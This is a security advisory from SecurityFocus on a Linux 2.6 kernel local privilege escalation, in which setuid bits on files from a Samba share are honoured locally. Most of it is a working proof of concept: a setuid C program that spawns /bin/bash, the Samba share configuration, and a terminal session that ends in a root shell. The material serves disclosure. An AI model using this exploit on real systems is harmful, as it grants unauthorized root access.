source: http://www.securityfocus.com/bid/9619/info

A local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel.

The issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on a remote Samba share. An attacker may exploit this condition to gain elevated privileges, as the setuid/setgid bit of a remote file is honored on the local system.

misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian

misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#

share:/etc/samba/smb.conf

[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share

share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a

misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#